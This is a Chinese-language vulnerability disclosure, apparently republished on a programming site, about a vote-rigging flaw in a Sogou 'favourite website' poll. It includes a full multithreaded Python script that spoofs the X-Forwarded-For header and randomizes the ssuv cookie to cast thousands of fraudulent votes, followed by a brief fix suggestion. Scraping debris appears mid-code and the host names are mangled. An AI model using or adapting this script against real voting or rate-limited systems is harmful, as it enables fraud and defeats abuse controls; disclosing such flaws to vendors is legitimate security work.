好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

搜狗我最喜爱的网站评选任意刷票 - 网站安全

搜狗举办的[我最喜爱的网站评选]活动判断不严谨,存在任意刷票 漏洞

详细说明:

用 浏览器 投票只能投一次。

但是修改cookie当中的ssuv参数后可以多投几次。

但是投几次后还是提示已经投过票了,明天再来吧。

给http头信息中增加X-Forwarded-For参数可以继续投票。

 

总之不断修改cookie当中的ssuv参数和http头信息当中的X-Forwarded-For的参数,即可达到任意投票目的。

 

方便你们测试,测试代码送上。

#!/usr/bin/python

#-*-coding:gbk-*-

import sys

import urllib

import random

import hashlib

import time

import threading

 

reload(sys)

sys.setdefaultencoding("gbk")

 

def getstr(n): 

    st = '' 

    while len(st) < n: 

      temp = chr(97+random.randint(0,25)) 

      if st.find(temp) == -1 : 

        st = st.join(['',temp]) 

    return st

 

def rush_vote(ip_last_num):

    my_str = getstr(5)

    hash_str = hashlib.md5(my_str).hexdigest()

    

    header = {

        "Host": "123.sogou测试数据",

        "Connection": "keep-alive",

        "Cache-Control": "max-age=0",

        "Origin": "http://123.sogou测试数据",

        "X-Forwarded-For": "192.168.10." + str(ip_last_num),

        "User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",

        "Content-Type": "application/x-www-form-urlencoded",

        "Accept": "text/ html ,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

        "Referer": "http://123.sogou测试数据/sub/huodong.html",

        "Accept-Language": "zh-CN,zh;q=0.8",

        "Accept-Charset": "GBK,utf-8;q=0.7,*;q=0.3",

        "Cookie": "SUID=A87F43765A590B0A4E4B1147000A65AS; SUV=1314147641152662; SMYUV=1333688377353101; sct=8; CXID=44816CD75C2C1E64BC0F7F7EAF23186E; IPLOC=CN1101; ssuv="+hash_str+"; CNZZDATA30074789=cnzz_eid=63247164-1354672656-&ntime=1354672656&cnzz_a=5&retime=1354672675763&sin=&ltime=1354672675763&rtime=0; spid=; GOTO=",

    }

    

    datas = {

        "id[]":123,  #待投票网站id,想投给谁修改即可

        "user_name":"",

        "user_num":"",

        "user_email":"",

        "user_address":"",

    }

    datas = urllib.urlencode(datas)

    request = urllib2.Request("http://123.sogou测试数据/sub/hd/vote_new.php", data = datas, headers = header)

    f = urllib2.urlopen(request)

    content = f.read()

    return content

HdhCmsTest2cto测试数据

class my_thread(threading.Thread):

    def __init__(self, ip_last_num):

        threading.Thread.__init__(self)

        self.ip_last_num = ip_last_num

    

    def run(self):

        for i in range(1, 3000):

            content = rush_vote(self.ip_last_num)

            if content.find("投票成功,感谢您的参与!") != -1:

                print '%s Vote success.\r\n' % str(i)

            else:

                print '投票失败,中断, 重新调整ip' + "\r\n"

                self.run()

            time.sleep(10)

        

mythread = {}

for row in range(40, 80):  #开40个线程

    mythread[row] = my_thread(row)

    mythread[row].start()

 

print "投票成功"

 赶快处理吧,不然有失公正。

 

 

修复方案:

X-Forwarded-For可以伪造,用别的做验证吧。

查看更多关于搜狗我最喜爱的网站评选任意刷票 - 网站安全的详细内容...

  阅读:43次